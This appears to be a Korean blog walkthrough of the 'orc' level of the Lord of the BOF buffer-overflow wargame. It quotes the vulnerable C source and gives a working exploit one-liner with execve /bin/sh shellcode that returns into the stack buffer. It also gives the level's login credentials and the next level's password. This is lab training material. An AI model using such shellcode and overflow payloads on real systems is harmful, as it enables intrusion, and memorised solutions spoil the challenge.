반응형
계속 하십시오체를 썼는데, 저도 모르게 하다체로 계속 쓰다가 바꾸던 거라. 그냥 해라체로 써야겠습니다.
login : goblin
password : hackers proof
탐색전
cat orc.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
이번 문제는 buf의 크기가 존재하고 extern char라는 부분이 생겼다. buf의 크기는 40으로 꽤나 큰 편이고, main 함수에서 인자를 받는다.
extern char **environ 부분은 외부에 있는 환경변수를 가져온다.
egghunter 부분에서는 memset을 이용해서 환경변수를 초기화하므로 환경변수를 이용한 기법을 사용하기 어렵다.
인자의 47번 인덱스, 다시말해 48번째에서는 \xbf의 값이 들어가야 한다.
이걸 보면 그냥 다시 Return to Shell 하라는 게 의도인 것 같다. 환경변수도 사용하지 않고. 이전까지 주소의 시작이 모두 0xbf~~ 이런 식으로 되어있었으니.
cp orc myc
풀이
일부러 segfault를 일으켜서 core dump. core file을 들여다보겠다.
보면 0xbffffac0 부분이 buf의 시작주소임을 유추할 수 있다.
buf에 쉘코드를 넣고 실행 흐름을 buf의 주소로 돌리겠다.
./myc $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\x90'*(15+4)+'\xc0\xfa\xff\xbf' ")
쉘이 얻어지므로 이제 orc에서 해보자
cantata
짜잔
반응형